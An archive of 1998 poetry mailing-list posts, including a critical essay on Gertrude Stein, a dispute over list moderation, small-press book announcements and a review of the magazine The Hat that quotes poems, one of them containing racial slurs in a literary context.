> "necessary" *right then*, as Cubism & abstract expressionism seemed
> necessary to the survival of painting in a photographable world. It
> could've happened a century, centuries earlier. I imagine Stein
> understanding this and being absolutely at a loss as to why others
> considered her work so "out there." I imagine her almost laughing because
> she'd "lucked in" to her genius-ness: noticed what, "unbelievably!", no
> one had noticed before. It could be said, bizarrely, that Stein's writing
> is both primitive and avant-garde. She alternately telescopes and
> microscopes, steps incredibly close to and back from objects. The *TB*
> phrase "Object that is in wood," from the poem "A WAIST," reminds one of
> an archaeologist reporting on an artifact whose use is unknown. Whatever
> the "object that is in wood" is, no one who knows the name of said object
> would refer to it as an "object that is in wood." An observation that
> basic is (nearly) no longer available when one knows the name of the
> object. Your generalized poet would take the name of the object and then
> add description *to the name*, would build on the given. Here, Stein
> builds *backwards* from the given. Somewhere Anne Sexton writes that a
> poet is one who builds trees out of wood furniture. I do not think this
> is often the case, but with Stein, with "object that is in wood" and its
> equivalents, it is apt. I guess I'd say here GS works to uncover what the
> "civilized, educated" psyche *smooths* over--what is no longer available
> to the all-too-trained (and rushed) eye. Stein's dealing with the psyche,
> here, as she does in more obvious ways *Three Lives* and *The Making of
> Americans* (and there it is only more obvious because she's actively
> questioning the motives/architecture of different personality
> "types"--whereas here, it's any reader's, any observer's, psyche that is
> being not questioned, but, in some way, restored: Stein is really
> restoring ways of seeing that have been lost, as much as or more than she
> is inventing new ways of seeing).
>
> Misc. Notes (not on Tender Buttons) Always controversial is Stein's
> statement "There is no such thing as repetition," esp. since so many
> readers read her as repetitive: in The Making of Americans, some of the
> portraits., etc. (not TB). "Repetitive"-looking passages in Stein are
> often permutations, not repetitions of a phrase (a compliment Stein always

> cherished was someone's comparison of her work to Bach's fugues). But
> there ARE certain sentences repeated verbatim, and more than once. What
> were these to Stein, if not repetitions? How should we read them? Okay,
> my thesis: it's not at all hard to argue that one can't repeat the same
> sentence when speaking. It'll never sound exactly the same way twice--the
> timbre of the voice might vary, a car might pass by, acts of speech are
> inherently acts of performance, etc. I think Stein is insisting that
> neither can one type the same sentence twice. Perhaps forcing us to
> imagine the conditions under which each sentence was typed. There can be
> no repetition because this sentence was typed at 10:41, and this sentence,
> which contains exactly the same words, at 10:42. Hence Stein's concept of
> the "continuous present." I think? If so, she was bumping against the
> langue v. parole debate somewhat before the debate supposedly officially
> started (at least as we read it today). Claiming the same primacy (and
> indeterminacy?) for the written as for the spoken word. And for the read
> word: I read the sentence in different conditions than you, so each
> sentence is endlessly new. Hmm.
>
> Re: femtheory, lesbians, & gender identity: In addition to saying that the
> "woman question" didn't concern her, Stein referred to herself as
> "husband" and Alice as "wife" (Stein & Picasso in one room discussing art,
> their wives dicussing hats and perfume in the other room). It would be
> wrong, however, to label theirs a butch-femme relationship. Stein was no
> butch. There were famous butches in Paris at the time: Radclyffe Hall,
> Lady Una Trowbridge, etc., as well as famous femmes: Natalie Barney, etc.
> These butches dressed the part--hats, trousers, ties, short slicked- back
> hair. Stein wore skirts, not pants, and only cut her hair to
> Caesar-length quite late in life. It would be more accurate to view
> theirs as a male-female relationship than a butch-femme one...that is,
> more accurate to see Stein as "transgendered" than as a lesbian. The
> woman question did not concern her because she was not a woman. This
may
> be hard to grasp, and it's hard to communicate. But butch-femme
> relationships are highly coded ones, and dress is an essential--perhaps
> THE essential--marker of them. And when I say "transgendered," I don't
> necessarily mean that Stein thought of herself as a man. I think she
> thought of herself as a Stein (or a genius)--somehow outside of gender.
> She seems to have dressed in whatever she found comfortable, rather than
> making the very active & time-consuming decisions a butch must in putting
> together a coded appearance.
> Similarly, in "Patriarchal Poetry," where Stein denounces
> "Patriarchal Poetry," I think it's a definite mistake to read this as a

> denouncement of poetry by men. Huge! Some fem-lesbs latch onto this one
> poem as "proof" that Stein was politically conscious and cared about them.
> But by "patriarchal poetry," I believe Stein means "establishment poetry,"
> or canonical verse. Not all men write patriarchal poetry, and some women
> do. There is no call for a "matriarchal" poetry, and remember that Stein
> was buying non-establishment paintings by men before anyone else-- *while*
> everyone else was defacing them at painting exhibitions. It would be the
> same "patriarchy" keeping these male painters from being appreciated that
> kept Stein's work from being appreciated...

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353. Rachel Levitsky
Re: oh and one more thing
Sun 9 Dec 2012

Being that I am into the incorrectness of identity, I am collecting names and emails of writers who consider themselves queer. Please forward if you are interested in being collected by me.

Rachel Levitsky

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354. tracy s. ruggles
Re: Ingram and B&N (was: 2 of per diem)
Wed 9 Dec 1998

On Tuesday/8.December.1998 2.23.31pm, J Kuszai wrote:
>
[...]
>
> on another BOOKSALES oriented front,
> did anyone else hear the news that BARNES & NOBLE has purchased
> INGRAM DISTRIBUTION?
>
> I thought Ingram was long gone already....any info here would be greatly
> appreciated.

Here are some news articles:

http://www.seattletimes.com/news/business/html98/altamaz_110698.html
http://www.sfwa.org/news/bni.htm
http://www.ingram.com/press_release.htm
http://www.bkstore.com/images/home_page/110698.html

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355. Roger Day
Re: Erasing
Wed 9 Dec 1998

Interesting points. I have spent a fair section of my life not erasing, but recovering. I currently help support a system that deliberately keeps all the changes and every document submitted to the aegis of this system can be viewed at a particularly point in it's change history. In addition to this, there can be more than one current version of the document: the development tree can be split into trunk and branch. Nothing ever gets erased, although there is an illusion of erasure. The way the system does this is for the tip to be the latest copy, and the changes required to take it back to it's original state are kept on a version basis. And disk-space isn't at a premium in these matters.

Indeed, the whole system of changes has been developed to a high ceremony where the requests (for changes), the changes, the source and the tasks (to do the changes) are managed.

I would also note that the erasure discussed here reminds me of space management on a computer's hard-disk: go and delete a file, and it disappears from your folder. It hasn't gone - most systems flag the disk space used by the file for further usage rather than erasing the file (some systems actually write nonsense in it's stead as a kind of track-covering (another erasure)). You can get systems which resurrect these "lost" files - although obviously, this is sometimes partial. I'd like to think you could re-cover such deletions into some kind of textuality.

Douglas Coupland described people as "amnesia machines". I would go further. I think erasure is the easiest and is always. If things weren't erased/forgotten we'd have "eternal return" - and what a terrible burden that would be. The best we can hope is that fragments and distortions remain.

Roger

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356. Joe Amato/Kass Fleisher
half-rant, and a question...
Wed 9 Dec 1998

suffering from severe vertigo at the moment, rushing from one tube to another, trying to follow the impeachment hearings on tv and the one here on poetix... i feel for henry g's plight, but must observe that what charles sez is no less true: that many folks have unsubbed from poetix for all sortsa reasons (incl. my wife/partner kass, above "from" line), and that nary a public tear has been shed when this has happened (and if it's happened in silence, we all know why---or

should)... whatever else, however much i believe that charles should operate on a strictly frontchan basis---and contra henry (and kent---sorry guys)---i yet do not attribute evil ideological motives to charles, and believe that to do so is, well, just plain unfair, maybe even ungrateful...

this list is now enjoying (?) it's fifth anniversary as a public-private list---it began back in december of 93, if i recall correctly, at the end of a semester when it was used as a list for charles's grad course... and having been here 'from the beginning,' i think it's been an amazingly productive forum, and feel, with alan, that it's likewise amazing that our recent problems have taken this long to e-merge... moreover, this is itself a clear sign of the even-handedness with which charles has run this list (even allowing that recent allegations are in any sense true)... anyone who doubts this ought to have a good long look at those first coupla of (sometimes contentious) years...

to pick up on something i said, in jest, earlier, and as i just backchanned some-one (so nice to work out my thinking elsewhere for a change!): the whole thing reminds me of the anarchist/fascist split in italy... and i guess i have to be one of the fascists, b/c there's only two groups [cough], and the anarchists have clearly proclaimed their loyalties as such... and as to the "insult poetry" thread, which has taken such scholarly directions of late (thank the lord), but which in some sense precipitated our recent melt-down: even setting aside the fact that (as i've said before), the list is not merely performative; and even imagining an actual insult thread in which folks (mostly men, no doubt) exchanged insulting/agonistic barbs in order to attain, uhm, enlightenment: are any of you really suggesting, really, that this is how you wish to use your time?... well if so, ok (and btw, just to be clear: i hear the kent/eliza/david b/george b thread in somewhat different terms---no real insults there, far as i can tell)...

but i wouldn't be the first to observe that anyone tossing insults, even in such obviously modulated terms ("for fun"), is likely to be outclassed when it comes to same by the most unschooled of the blue-collar workers i grew up around, and sometimes worked with... nothing against said blue-collar workers, mind you, but just so's we're all on the same page, that y'all are aware i'm extremely good at spotting even the glimmer of a silver spoon up someone's ass...

hell, it's too bad we're not celebrating the fucking list right now---raising w/o ire, perhaps by way of a "review," what reservations we may have---rather than picking to pieces the person who's primarily responsible for its existence in the first place...

---

anyway, yes, i DO have a question, and would greatly appreciate any backchan help: i'm trying and have been unsuccessful at tracking down a citation for valery's "all theory is autobiography" (or something to this effect)... can anyone

help me out here?... sorry to have to post the list for something this straightforward, but for some reason it's eluding me... probably owing in part to my vertigo, above...

many thanx... and apologies for the delete-able prologue...

best,

joe

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357. **shemurph**
The Big R - Spencer Selby
Wed 9 Dec 1998

I highly, admiringly recommend Spencer Selby's new book from Angle Press - The Big R. This is an exceptionally wonderful work that you won't regret having and reading and re-reading. I've always liked Spencer's work. This particular example of it is more stunning than ever. Read to find out why. Buy it and savor!

Sheila Murphy

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358. **ken|n|ing**
Big Allis
Wed 9 Dec 1998

Seems as though I had this information at one time or another, but I can't seem to find it now. Has anyone got contact, subscription, and contents information for the magazine, Big Allis? By "contents" I mean a partial list of contributors to the latest number. It might be helpful to others to post your reply to the list as a whole . . . at least, in the flurry of reconsidering the role of this list in building a community around poetics, or of poetics, it remains my belief that publication announcements are central. Patrick F. Durgin
P.S. Speaking of which, although it's a vast job, the epc appears to be lagging a bit in keeping the print-mag listings up to date. It might be time for the sort of list Juliana Spahr suggested the other day, which would be limited to such announcements / listings.

|
|
k e n n i n g```````````````|```````````````````````````````
a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

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359. James Brook
correspondance avec guy debord
Wed 9 Dec 1998

The following is the Jeff Martos' own announcement for his recently published--and soon to be suppressed, perhaps--book of correspondence with Guy Debord.

- - - -

JUST PUBLISHED: CORRESPONDANCE AVEC GUY DEBORD
by Jean-Francois Martos

One volume 12.5cm x 21.5 of 320 pages.
ISBN:2-903557-03-9

Price: 140FF (French Francs) + postage

Publisher: Le fin mot de l'Histoire,
BP 274,75866 Paris Cedex 18, France

Please send your request with a check
or a postal money order for 165 French Francs
to the order of "Le fin mot de l'Histoire".

or write or phone:

[redacted]
Telephone: (33-1)42.59.97.45

A trial to seize the book is imminent,
we cannot certify that it will be available
in the third millenium.

==========

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360. Mark Prejsnar
My final List polemic
Wed 9 Dec 1998

On Wed, 9 Dec 1998, Joe Amato/Kass Fleisher wrote:

> *suffering from severe vertigo at the moment, rushing from one tube to another, trying to follow the impeachment hearings on tv and the one here on poetix... i feel for henry g's plight, but must observe that what charles sez is no less true: that many folks have unsubbed from poetix for all sortsa reasons (incl. my wife/partner kass, above "from" line), and that nary a public tear has been shed when this has happened (and if it's*

> *happened in silence, we all know why---or should)... whatever else, however much i believe that charles should operate on a strictly frontchan basis---and contra henry (and kent---sorry guys)---i yet do not attribute evil ideological motives to charles, and believe that to do so is, well, just plain unfair, maybe even ungrateful...*

I believe that the above is true, and apt, and yay to Joe for saying it. There have been far more expressions of support for Henry than for the significant number of people who have left before him (because like Henry they felt stifled). A number of them have posted...And i must say two who in recent memory have *also* like Henry left in a rage, are FAR more important to me as poets and positive presences on the poetry scene than he is: Tom Beckett and Juliana Spahr.

Now i have been looking back at JS's post of a couple of days ago; i believe it would be more constructive to discuss her accusations toward the List, than Henry's. Is it really a place that is "only friendly to white men"? As a white man, it's a little hard for me to contradict that. (Nor do i want to contradict it: i hope all of us will *examine* it...)

I can't think of a poet of greater promise and accomplishment on the scene right now, than JS. And her highly political and challenging work has been very valuble to me. That she should make so sharp a critique, and leave the List, seems to me the real important issue of this recent tumultuous period.

Anyway, to wrap up, i also agree with Joe and others that Charles B. has done a very good job. Is doing a good job. As someone posted in the last couple of days, the listowner/moderator on any listserv does a huge amount of work and donates significant resources and time and nerves and energy and vulnerability. They do this because they cared enuff to do it. They have and must have the space to moderate.. (Unless they act in a strikingly arrogant and insulting way; and contrary to the gouldites I believe that is not the case here.)

I believe that Kent (for whom i have lotsa liking and respect), and others who've taken up the cudgel on behalf of Henry, are using a model that assumes this is a radical democracy, here on the List. Like a collective. It is not that. It cannot be that. As a socialist i want to establish a radical democracy without private ownership of capital in society at large; and i want there to be community wherever we can meaningfully build community. But we cannot declare a listserv a community any more than we can declare that all the little poetry magazines by right should belong to their readers and contributors, and prnounce that they are now collectives and communities, and have been liberated from their editors.

A few people are providing resources that the rest of us are benefitting from; if all of us could help CB shoulder the burden of running this thing, then it could

be a collective and people could vote, etc. In the meantime, the list managers *have* to take the heat for things that happen here. No one can change that. So they also have ultimate say over what happens here--no one can change that either, any more than on any other moderated listserv.

in struggle,
mark p.

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361. **charssmith**
MLA ?
Wed 9 Dec 1998

Is the book exhibit hall at the MLA accessible to the academically unencumbered?

charles

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362. **Emily Lloyd**
Re: Stein,Charles,&LesbianCodes:one girl's fantasy "Oprah"
Wed 9 Dec 1998

Rachel writes: <<<I'm going off here but I think what's shocking is that Stein (and this goes back to Damon) had the chutzpah to say what she thought of herself and what allowed her to indulge in the experiment of writing. It's more palpable and gentile in these parts to say "I'm nobody! Who are you?">>>

Darn tootin'. I like Camille Paglia, Nietzsche, and Dennis Rodman in some cases more for their nearly refreshing chutzpah than their work. Of course, they've made said chutzpah an issue, while Stein seems to have been more graceful. Or more interested in making "more important" things her issues.

I learned much from Damon's essay on "Yet Dish," too, and hear those same echoes.

Rachel also writes:
<<I mean don't you think the desexualization of men is meaningful to her accomplishment?>>
and
<<"Lesbian" per say may not be an aestetic category but social context--as separate as she was from it--could allow Stein to have a 'so what' attitude and yet not be rendered invisible by denial.>>

That first one's a really tough question. There was a time when I would've said "of course" and assumed those who didn't were either woman/or homo phobic.

Now I want to be slower to say yes. The desexualization of men probably helped her to see men as her own brother singulars--to not get bogged in the "I'm just a girl, what does my stuff matter?" thing or the "I must have male approval of my writing" thing. And many sexy Stein poems (esp.the "banter between GS and ABT" one) mightn't have turned out the same way were she not desexualizing men. Though possibly she would've written just as sexy "heterosexual poems". I guess I want to say that I don't think desexualizing men is in any way connected with escaping either of the two bog-things I've just mentioned. Lesbians, for the most part, are still seen as women and "women"--of whatever sexuality--for the most part, are still going to be "trained" to consider male approval important, and witness enough to cause the "I'm just a girl, what does my stuff matter?" to happen. H.D., for a time, an admittedly young time, was a pretty pathetic queer re:these--and who wouldn't have been? (and yet, Loy wasn't too pathetic a heterosexual)

These days it might be even more amazing to meet a lesbian writer with the chutzpah to not need *lesbian*, rather than male, approval. Stein rarely seems to have *required* (I don't say wanted) the approval of readers of any gender or sexuality. Except maybe Alice. And on bad days Leo. I think of Stein less as having desexualized men and more as having degendered herself, at least in wondering which may have had more to do with her accomplishment. I think of Stein when I read Hejinian's (uh-oh, not her again) "No wonder there are no/ single notes, no unique gender" and think "bull." Who was it, Witting?, who made the claim "Lesbians are not women"? I disagree with whoever it was. There're all kinds of lesbians who would collapse without their male friends or male approval as others might collapse w/o same from females (and far rarer others who wouldn't collapse from lack of support from anyone). To say "Stein was not a woman"--in the sense that Witting/whoever meant "woman"-- wouldn't seem wholly unlikely to me. Somehow she slipped through--or chiseled & kicked, w/o making much noise, through--the cracks. Stein was a being.

Please don't get me wrong. I certainly think Stein's queerness affected her work. I just think it was a queerer queerness than lesbianism...in the "degenderate" sense, or in the queerness of having a skyrocket's measure of chutzpah & faith in one's own work.

I'm afraid on GS I can be a bit like someone standing on a st. corner kind of raving at everyone who walks by, yelling some obsessive "point", & not backing it up with passages from scripture, or "She Bowed to Her Brother," or any text. Someone with a big hunch on her shoulder. But I hope this had been in some way clarifying--?

incorrectly, collectable em

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363. **MJ Devaney**
Re: MLA ?
Wed 9 Dec 1998

If you have a badge, you can get into the book exhibit, and anyone can get a badge (but you have to pay for it, alas (you have to pay for it if you are academically encumbered too)--I don't know what the registration fee is).

cheers, MJ

_____
MJ Devaney
Humanities Editor
University of Nebraska Press

At 01:24 PM 12/9/98 EST, you wrote:
>Is the book exhibit hall at the MLA accessible to the academically
>unencumbered?
>
>charles

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364. **charssmith**
Angle Press Announcement
Wed 9 Dec 1998

Posted for Brian Lucas (direct inquiries to the address below):

Angle Press announces the publication of the following books:

The Big R by Spencer Selby $10 (incl. postage) (perfectbound)

Jeweled Chrysalis by Patrick Monnin $3 (incl. postage) (chapbook)

also available is

The Trustees in Spite of Themselves by Brian Lucas $5 (incl. postage)

(this second edition published with pink clouds by Neko Buildings. Those interested may order from Angle Press a copy for Christmas friends).

All of these books are "divine and interesting" according to William Cloud, esquire and lover of tides. A pearl hatchery has been incubating these babies for a millenium--they all come with a bit of the author's processes intact!

make checks payable to: Brian Lucas

Angle
PO Box 220027
Brooklyn, NY 11222-0027

[redacted]

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365. **R.Gancie/C.Parcelli**

'Democracy is Merry' - Beuys will be Beuys

Wed 9 Dec 1998

WE FEEL IT IS OUR DUTY TO INFORM YOU THAT CHARLES BERNSTEIN HAS COMMITTED A GREAT SLANDER UPON THE MEMORY OF JOSEPH BEUYS!!

Through some cruel irony, Joan Retallack and Jackson MacLow will be reading December 11 at DIA Center for the Arts in New York City.

DIA is concurrently hosting an exhibit of the installations of the German artist Joseph Beuys. Beuys, of course, felt that he should make the time to build an artistic legacy that would be generous and inclusive.

Beuys felt a strong committment to teaching & as such felt it morally wrong to turn away anyone seeking to enter the dialogue about art.

On the first day of the winter semester of 1972 'Beuys wrote the names and addresses of the 125 candidates who had been rejected in August on the basis of their portfolio submissions; by doing so he confirmed their admission to his class. Beuys then demanded that all the rejected applicants be formally registered.'

"If 400 students want to study with me I'll stay here as long as they want."

Beuys felt that we had a 'restricted idea of culture which debases everything'.

"We reject now and in the future, as a wrongful infringement of academic freedom, any attempt to impose an admissions policy on our class. The same goes for any regulations regarding the number of students in our classes. (The Academy is free). And the same goes for any other regulations that infringe on this principle of freedom. It is thus possible for a teacher, if he is willing, to admit 142 additional students, although others - tenured teachers - feel themselves overburdened with six or so students. Questions of Academy capacity, shortage of space, shortage of service staff, shortage of teaching materials, shortage of teachers, have no bearing whatever on admissions regulations. Responsibility for such deficiencies, in relation to those involved and to the people as a whole, lies with the authorities concerned, with their officials, and ultimately with the party politicians who rule in disregard of the majority. An arbitrary limit on student numbers is a violation of basic rights and not a proper solution to the problem of capacity."

Such is the spirit of Beuys violated by the sentiments of those who control this list.

"The Academy is like a battleship under fire. We are in an emergency. I want to portray a sick system and to try, as far as possible, to work within it. The school has a reponsiblity to society. The concept of liberty plays an essential role here. I consider it my duty above all not to turn away students who want to enter my class. I shall not yield until the tanks draw up to the Academy!"

The Langpo's so typically want to usurp the thunder of someone like Joseph Beuys without taking the tiniest risks. Joseph Beuys should not be so dishonored.

The quote in my earlier post, "forked tongue?", is from Charles Bernstein's Writing and Method. He recommends among other things 'anger' in philosophical discourse. However, what's good enough for philosophy is obviously too much of a living idea for peauxetiquettes.

Finally, Beuys wrote: "The evolution of Western Thought, in philosphy, and of the resulting concept of science, especially what is called exact scientific thought, has been a quest to attain matter....[But] you only attain matter when you attain death...." That quote was just for me. ---Carlo Parcelli

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366. Michael Magee
Re: My final List polemic
Wed 9 Dec 1998

Just a word in support of these words from Mark P:

"A few people are providing resources that the rest of us are benefitting from; if all of us could help CB shoulder the burden of running this thing, then it could be a collective and people could vote, etc. In the meantime, the list managers *have* to take the heat for things that happen here. No one can change that. So they also have ultimate say over what happens here--no one can change that either, any more than on any other moderated listserv."

and a clarification of what I said earlier (apologies if this seems self-indulgent but I feel like otherwise I might be misrepresented and I'm the nervous type when it comes to such things). Yes, in some ways this list clearly cannot be a radical democracy, but in other ways it can and is, and I don't think Charles's moderate restrictions preclude such democratic possibility - they only preclude anarchy which is quite different. In any event, I have no problem with moderate restrictions designed to ensure the most liberty for each listmember compatible with the liberty of all other members. My original worry was that Henry had actually been *banned* from the list which would have been a real drag.

But to set some guidelines for number of posts seems both inevitable and wise. So for what its worth, my sense of Henry's value to the list doesn't contradict, as far as I'm concerned, support for Charles who I think does a bang up job just keeping this mess up and running.

-m.

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367. Gabriel Gudding
announcement: SUBMIT YOU DOG
Wed 9 Dec 1998

The e-zippy zingy-zine SUBMIT YOU DOG is now accepting submissions (of poetry only) and subscriptions for its January issue. December's issue featured

Miekal And
Mairead Byrne
John Barna
Tony Beeman
Julie Babcock
Guttapercha Bunsen
Andy Scott

& several anonymous submissions of erased texts

We have no editorial policy (we accept everything submitted to us) except that we order submissions alphabetically (though we even get that wrong sometimes since I just learned the alphabet myself ([and still count on my fingers]).

*ASCII format only. We send this out in one digest post. Each contributor gets three contributor's copies (we email it you three times).

Coming soon to a website near you.

Those interested, please email [redacted] with SUBMIT YOU DOG in the subject line.

yrs sincerely, persona non gaga

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368. Emily Lloyd
correction, spell-check, self-check
Wed 9 Dec 1998

I wrote: <<The desexualization of men probably helped her [Stein] to see men as her own brother singulars--to not get bogged in the "I'm just a girl, what does my stuff matter?" thing or the "I must have male approval of my writing"

thing.And many sexy Stein poems (esp.the "banter between GS and ABT" one) mightn't have turned out the same way were she not desexualizing men. Though possibly she would've written just as sexy "heterosexual poems". I guess I want to say that I don't think desexualizing men is in any way connected with escaping either of the two bog-things I've just mentioned.>>

2 things I want to edit-for-the-record there: I meant "banter between GS and ABT *ones*, in the plural. And it looks pretty ridiculous to have writtem "The desexualization etc. probably helped her to not get bogged etc." and a few lines later "I don't think desexualization is in any way connected with escaping the bogs."

I meant *necessarily* connected--more importantly, to me, is that it's the latter statement I meant and mean to put forth. The earlier was a forgot-to-edit-it-out first-thought-process kind of thing.

embarrassedly,
em

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369. **schuchat**
Re: three questions
Wed 9 Dec 1998

---

to answer your first question,

Ci Xi was the Empress Dowager of China. She is generally considered to have ruled China from the 1870s through till her death, in the first decade of 20th century. She is accused of having wasted money which was supposed to be spent on the construction of a navy on adornments to her pleasure garden at the summer palace, thus, the marble steamboat. The traditional Confucian view is that when women rule the state there is disaster, so in this view (which the Communists have partially bought into, being good patriotic Chinese) it was her reactionary, obscurantist, corrupt, etc, rule that the western powers were able to defeat, control, humiliate, etc, China. otherwise, the Brits would never have won the opium war, there would have been no foreign concessions, the boxers would have succeeded in expelling all foreigners from China, etc, etc. journalist Sterling Seagraves has a book (DRAGON LADY) which attempts to debunk some of these stereotypes about Ci Xi but of course being mere journalism it has problems of its own.

the marble steamboat is quite pleasant. it doesn't actually float, and is adjacent to the shore, so it lacks that feeling of being on the open waters, but it is a delightful monument and much better than the real fleet that the money was actually spent on (by Li Hongchang) and which the Japanese sank in 1895.

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370. Hoa Nguyen
Frank O'Hara, Skanky Possum
Wed 9 Dec 1998

--(please forgive cross postings)--

Hello everyone:

I am currently taking orders for:

A new pamphlet sized book(like the old Black Sparrow books), _What's Up with Modern Art_, selected short reviews and other art writings by Frank O'Hara, edited by Bill Berkson. A charming unpublished photo of FOH graces the back. The collection takes its name after a wonderful article, reprinted here, subtitled "Kids Quiz A Critic" from _Ingenue_, a glossy magazine "for sophisticated teens", (1964). From Mike and Dale's Press. Only $5 (US)dollars.

As some may know, I was to edit the fall issue of _Mike and Dale's Younger Poets_ under the title _Mike and Dale and Hoa's Younger Poets_. Mike has since gone on to other projects; Dale & I are to continue publishing a quarterly poetry magazine in the same format and similar vein. To recognize the shift in editorship, we are naming the new venture _Skanky Possum_ after the venerable critter that skanks around our neighborhood. _Skanky Possum #1_ includes poets such as Eileen Myles, Linh Dinh, Rachel Loden, Sotere Torregian, Anselm Berrigan, Carl Thayler and Alice Notely, as well as an exerpt from a memoir of Philip Whalen by Tensho Schneider and classic-movie reviews by Bill Berkson. _Skanky Possum_ features hand painted covers. From Skanky Possum Press. Only $5 (US) dollars.

To order either, please indicate your order (title, # of copies) and send a check made payable to me (Hoa Nguyen) to:

2925 Higgins Street
Austin, TX 78722

Please forward this announcement to anyone who may be interested. Thanks for your support.

Love, Hoa

Get Your Private, Free Email at http://www.hotmail.com

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371. Dale Smith
The Hat
Wed 9 Dec 1998

If you haven't already, check out The Hat, edited by Jordan Davis and Chris Edgar. The quality of writing varies, but it is especially interesting to read next to the recent Moving Borders Anthology.

The writing in The Hat is motivated by various complex yankee anxieties of gender, race and 'consciousness,' with language as the mediating force. J. Spahr's piece examines gender-specific pronouns that are used to construct a kind of "love" poem to some equally distant being bound in the process of internal re-imagination (or is it re-ordering?). Her lines are expressed according to syllogistic logic, direct but complicated by other syntactic "movements" of repetition and rhetorical positions.

"So this," she writes, "is what is meant by the 'seeking that takes
place between
prelanguaged and languaged states, before and behind the 'I.'"

And then a few lines later:

"Or I or he or she am or is trying
missing or mixing things up.
Thanks for the directions."

Juliana's insistent position that we examine and articulate the complexity of gender and human construction is valiant, moreso since her critique has tightend here, for me, becoming more direct and less hesitant. Although firmly entrenched in the socio-cultural, her energy appears to come from another place entirely, but other readers can determine that for themselves.

With 20 pages, Kimberly Lyons receives the most space in this issue. The poems are sharp, angular, focused on naturally occuring phenomena. Objects lie in juxtapositions that create imaginative possibilities. Some might find only colors and shades here; others only sentimental attachments. But the phrasing and rhythm, the space around the lines-- these things create a radiation of event that swells up from within the poem:

Trees fill
the window and
light
is thin, holds its dust.

On the bar
last night I saw
Three martinis,

trembling triangles.
Nancy said
this is the first time
I've felt happy.
big white trucks.
I guess everybody goes there
at least once.

The line breaks and injambment play with meaning. There's a strangeness here that resists explanation. There's a sense of revelation without opaque self-consciousness. You can see why the editors chose so many pieces from her.

Janice Lowe address race directly in her poem, "The Summervilles of Pickens County." She resists theorizing the politics of racial encounter by revealing experience that lives "in the mouth." Although her use of the little 'i' is annoying, the coloquial articulation of this poem builds a powerful address.

i tell the black ones calling me red
    you wanna be red like me nigger
the white ones
    you redder than me you gotdam cracker
all this is turning me
into a kind of peckerwood nigger
i don't like for people to be black and greasy at the same time
i prefer yellow women for lovemaking some have said
all my children have lightskinned mothers
of course i'm a race man

Witness the velocity of those lines, the build-up and speed. Like many of the pieces in this collection, the concerns of the social are delivered in a language that feels threaded to other agencies of expression. This only complicates and increases the emotional trajectories aimed against the dominate regimes of the social.

Anyhow, it's a magazine worth checking out. Poems by Catherine Barnett, Brenda Coultas, Tonya Foster, Greta Goetz, Lisa Jarnot, Carol Mirakove, Ange Mlinko, Cynthia Nelson, Hoa Nguyen, Alice Notley and Prageeta Sharma are also included.

Contact Jordan if you're interested. The Hat is cool.

Dale

Get Your Private, Free Email at http://www.hotmail.com

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372. **Emily Lloyd**
Re: erasure/frags
Wed 9 Dec 1998

One more post, then I'll stop being such a space glutton.

In a course once, while we were discussing the work of a poet who wrote in fragments, somebody said, "But once we get the whole fragment thing, why do we need any more poems written in fragments? I mean, I *get* it already." Basically a riff on Williams' "All sonnets say the same thing," replacing "sonnets" with "fragments," and of course I countered with "Why do we need any more sonnets?" etc. I couldn't decide whether the person was playing devil's advocate or just being kind of stupid.

I'm ready for folks to be similarly indecisive about me: when does the proliferation of "erasurey" work at this point in time go from being the (only? most?) possible, logical, ethical response to the past half-century to being, well, maybe, kind of trendy? Ever? ("Instant Ethics! Just add white space!" ...and when did the term "stubble fields" go from being a term one might but probably needn't ever use to the requisite included term in all poems published in *Poetry*?)

On another tack--what, if any, is the relationship between "the poetry of erasure" (not bad lyrics for a europop group) and, also specific to our last (max.?) 50 yrs or so, the poetry of "breaking one's silence" (if one's in any group viewed as or treated as a minority)? Can one "break one's silence" w/ an erasure? I think so! How about that! Interesting.

Hilton brought up Paul Auster. I've only read *The New York Trilogy*, in which characters become the obsessive, thorough, unwitting agents of their own erasure. In doggedly trying to fill some gap or void--some previous erasure?--they erase themselves. This translates with more slippery consequences, I think, than those poems which "ethically" describe/reflect an erasureful or fragmented world in an erasureful or fragmented way. For one, it implicates the writer/maker-of-things in the fall/corruption/breakage; the writer is inescapably held responsible, too...the "helplessness" or "impossibility" of the writer to honestly write in anything *but* fragments &/or erasures seems, somehow, more genuine & horrifying to me here--where those who are hell-bent on helping (read: writing in whitespaceless sentences) and "equipped," they think, to do so, end up helpless, too...and this *process* is recorded/enacted.

em

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373. **dbkk**
L. Shaw talks F. O'Hara in SF
Wed 9 Dec 1998

Small Press Tafffic presents

"Frank O'Hara and Coterie"
a talk by Lytle Shaw

Friday, December 11, 7:30 p.m.
New College Cultural Center
766 Valencia Street, Room 11
$5

Shaw's work on Frank O'Hara examines his career as a way to recast debates about the politics of reference and community within 1950s and early 60s American poetry and art. This talk will begin with what has been the most common problem for readers of O'Hara-the charge that, because his poems prominently feature obscure proper names, he is merely a coterie poet. By unpacking the social and linguistic implications of O'Hara's systems of poetic reference, Shaw situates O'Hara's practice of coterie writing 1) against a tradition of modern poetry and poetry criticism for which proper names should reference canonical sites of knowledge or structures of myth and 2) beyond familiar oppositions between particularity and universality. Don't worry, he'll explain!

Lytle Shaw is a poet and scholar, author of many critical publications on contemporary poetry and theory. His own poetry has appeared in many journals including Lyric&, Non, Log, Idiom, Explosive, and Mirage #4/Period[ical], and in three forthcoming books. With Emilie Clark he edits the journal of pre-poetics, Shark.

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374. **michael corbin**
Re: Impeach or Censure (Was: Concerns)
Wed 9 Dec 1998

Charles Bernstein wrote:

> *I hope all of you will understand that my time*
>
> *for this project has simply run out.*

Rachel Blau DuPlessis wrote:

> *There is (for me) no sense of textuality*
> *as a value in a vacuum;*

Subject: why I am not a reader of the poetics list
From:
juliana spahr <[redacted]>

> *I can't read poetics list anymore. I have a shortage of time in my life.*

Tick Tock. (Out of Time)

Cumberland Gap. Donner Pass.

"Ever since sentences started to *circulate* in brains devoted to reflection, an effort at total identification has been made, because with the aid of a *coupla* each sentence ties one thing to another; all things would be visibly connected if one could discover at a single glance and in its totality the tracings of an Ariadne's thread leading thought into its own labyrinth".

the list is dead/long live

list/list

mc

<HTML>

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<P>> I hope all of you will understand that my time
<BLOCKQUOTE TYPE=CITE>for this project has simply run out.</BLOCKQUOTE>

Rachel Blau DuPlessis wrote:
<BLOCKQUOTE TYPE=CITE>There is (for me) no sense of textuality
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Subject: why
I am not a reader of the poetics list

From:

          juliana spahr
<[redacted]>

<BLOCKQUOTE TYPE=CITE>
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</BLOCKQUOTE>

